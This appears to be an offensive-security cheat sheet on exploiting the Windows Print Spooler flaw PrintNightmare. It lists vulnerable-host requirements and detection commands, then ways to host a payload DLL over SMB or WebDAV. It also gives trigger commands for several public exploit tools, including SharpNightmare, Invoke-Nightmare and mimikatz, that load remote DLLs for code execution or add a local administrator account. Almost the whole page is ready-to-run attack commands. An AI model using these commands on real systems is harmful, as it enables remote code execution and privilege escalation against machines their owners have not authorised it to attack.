PrintNightmare

CVE-2021-1675 / CVE-2021-34527

The DLL will be stored in C:\Windows\System32\spool\drivers\x64\3\. The exploit will execute the DLL either from the local filesystem or a remote share.

Requirements:

• Spooler Service enabled (Mandatory)
• Server with patches < June 2021
• DC with Pre Windows 2000 Compatibility group
• Server with registry key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall = (DWORD) 1
• Server with registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = (DWORD) 0

Detect the vulnerability:

• Impacket - impacket/rpcdump

  python3 ./rpcdump.py @10.0.2.10 | egrep 'MS-RPRN|MS-PAR'Protocol: [MS-RPRN]: Print System Remote Protocol

• byt3bl33d3r/ItWasAllADream

  cd ItWasAllADream && poetry install && poetry shellitwasalladream -u user -p Password123 -d domain 10.10.10.10/24docker run -it itwasalladream -u username -p Password123 -d domain 10.10.10.10

Payload Hosting:

• The payload can be hosted on Impacket SMB server since PR #1109:

  python3 ./smbserver.py share /tmp/smb/

• Using 3gstudent/Invoke-BuildAnonymousSMBServer (Admin rights required on host):

  Import-Module .\Invoke-BuildAnonymousSMBServer.ps1; Invoke-BuildAnonymousSMBServer -Path C:\Share -Mode Enable

• Using WebDav with SharpWebServer (Doesn’t require admin rights):

  SharpWebServer.exe port=8888 dir=c:\users\public verbose=true

When using WebDav instead of SMB, you must add @[PORT] to the hostname in the URI, e.g.: \\172.16.1.5@8888\Downloads\beacon.dll WebDav client must be activated on exploited target. By default it is not activated on Windows workstations (you have to net start webclient) and it’s not installed on servers. Here is how to detect activated webdav:

nxc smb -u user -p password -d domain.local -M webdav [TARGET]

Trigger the exploit:

• cube0x0/SharpNightmare

  # require a modified Impacket: https://github.com/cube0x0/impacketpython3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192.168.1.215\smb\addCube.dll'python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 'C:\addCube.dll'## LPESharpPrintNightmare.exe C:\addCube.dll## RCE using existing contextSharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'## RCE using runas /netonlySharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll'  'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123

• calebstewart/Invoke-Nightmare

  ## LPE only (PS1 + DLL)Import-Module .\cve-2021-1675.ps1Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by defaultInvoke-Nightmare -DriverName "Dementor" -NewUser "d3m3nt0r" -NewPassword "AzkabanUnleashed123*" Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"

• gentilkiwi/mimikatz v2.2.0-20210709+

  ## LPEmisc::printnightmare /server:DC01 /library:C:\Users\user1\Documents\mimispool.dll## RCEmisc::printnightmare /server:CASTLE /library:\\10.0.2.12\smb\beacon.dll /authdomain:LAB /authuser:Username /authpassword:Password01 /try:50

• outflanknl/PrintNightmare

  PrintNightmare [target ip or hostname] [UNC path to payload Dll] [optional domain] [optional username] [optional password]

Debug informations

References#

• Playing with PrintNightmare - 0xdf - Jul 8, 2021
• A Practical Guide to PrintNightmare in 2024 - itm4n - Jan 28, 2024